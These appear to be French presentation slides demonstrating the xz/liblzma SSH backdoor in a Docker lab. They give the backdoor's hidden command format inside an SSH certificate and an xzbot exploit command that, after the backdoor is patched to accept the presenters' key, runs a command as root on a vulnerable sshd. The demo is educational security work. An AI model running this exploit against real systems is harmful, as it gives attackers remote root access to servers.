Démo

Format de la backdoor

```
SSH Certificate with CA signing key N value:
 cmd1 (32 bit) | cmd2 (32 bit) |
                        cmd3 (64 bit)
               ciphertext (240 bytes)
          Where decrypted ciphertext follows:
| signature (114 bytes) | command \x00 | padding |
```

Démo

Patch la backdoor pour rouler l'exploit avec notre clé

```
$ docker exec -it xzbackdoor-poc /xzbot/xzbot \
   -addr xzbackdoor-vulnerable:22 -seed 378103 \
   -cmd "id > /tmp/.xz" \
|| docker exec -it xzbackdoor-vulnerable /bin/sh -c "cat /tmp/.xz"
       00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |...ssh-rsa-cert
0000000
00000270
00000280 73 73 68 2d 72 73 61 00 00 00 01 00
                                            ssh-rsa....
2024/04/03 03:51:56 ssh: handshake failed: EOF
uid=0(root) gid=0(root) groups=0(root)
```